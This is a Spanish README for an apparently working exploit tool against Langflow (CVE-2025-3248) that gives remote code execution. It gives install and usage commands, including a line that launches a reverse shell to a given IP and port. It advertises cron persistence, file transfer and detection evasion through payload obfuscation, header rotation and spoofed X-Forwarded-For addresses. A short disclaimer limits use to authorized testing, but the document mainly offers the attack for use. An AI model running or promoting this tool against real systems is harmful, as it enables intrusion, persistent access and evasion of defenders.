Exploit RCE de Langflow (CVE-2025-3248)

Exploit de Ejecución Remota de Código para Langflow (CVE-2025-3248)

Características

• Detección automática de vulnerabilidades
• Múltiples modos de explotación:
  • Shell interactivo
  • Ejecución de un solo comando
  • Conexión reverse shell
• Capacidad de subida de archivos
• Interfaz de usuario coloreada
• Múltiples métodos de reverse shell
• Persistencia del historial de comandos

📌 Registro de cambios (v2.0)

✨ Nuevas características:

• Sistema de payload avanzado con 5 métodos de ejecución
• Subida/descarga de archivos con codificación Base64
• Persistencia mediante tareas cron (comando persist)
• Mejoras en la shell interactiva:
  • upload local_path remote_path
  • download remote_path local_path
  • comando clear para terminal

🛡️ Mejoras de seguridad:

• Ofuscación automática del payload (Base64 + variantes aleatorias)
• Rotación de cabeceras por solicitud:
  • User-Agent aleatorio
  • Direcciones IP X-Forwarded-For falsificadas
• Omisión de HTTPS (soporte para certificados autofirmados)
• Sin redirecciones para evitar detección

⚡ Mejoras técnicas:

• Verificación de vulnerabilidad en múltiples etapas
• Manejo de errores mejorado para conexiones inestables
• Registro completo de sesión en exploit_log.txt
• Persistencia del historial de comandos (.langflow_shell_history)

📊 Comparación de versiones:

Característica	v1.0	v2.0
Métodos de payload	1	5
Transferencia de archivos	❌ No soportada	✅ Soportada
Persistencia	❌	✅
Nivel de sigilo	Básico	Avanzado
Registro de sesión	❌	✅

🐛 Correcciones de errores:

• Se corrigieron problemas de conexión HTTPS
• Mejor manejo de caracteres especiales en comandos
• Se estabilizó la fiabilidad de la reverse shell

Requisitos

• Python 3.6 o superior
• Librerías necesarias:
  • requests
  • colorama
  • readline

Instalación

git clone https://github.com/0-d3y/langflow-rce-exploit.git
cd langflow-rce-exploit
pip install -r requirements.txt

Uso

python exploit.py <URL> [options]

Opciones disponibles:

Opción	Descripción
--shell	Inicia una shell interactiva
--reverse IP PORT	Lanza una reverse shell a la IP:PUERTO especificada
--command CMD	Ejecuta un solo comando
--verbose	Habilita salida detallada
--timeout SEC	Establece tiempo de espera de solicitud (predeterminado: 10s)

Ejemplos:

1. Verificar vulnerabilidad:

python exploit.py http://target.com

2. Iniciar shell interactiva:

python exploit.py http://target.com --shell

3. Ejecutar un solo comando:

python exploit.py http://target.com --command "whoami"

4. Lanzar reverse shell:

python exploit.py http://target.com --reverse 192.168.1.100 4444

Capturas de pantalla

Image.png)

Advertencia

âڑ ï¸ڈ Esta herramienta es solo para fines educativos y de pruebas autorizadas.
âڑ ï¸ڈ El uso no autorizado contra sistemas que no posees o para los que no tienes permiso de prueba es ilegal.

Licencia

Este proyecto está licenciado bajo la Licencia MIT; consulte el archivo LICENSE para más detalles.

Autor

• Mr.SaMi
  
  

Contribuciones

Las solicitudes de extracción son bienvenidas. Para cambios importantes, abra primero un issue para discutir lo que le gustaría cambiar.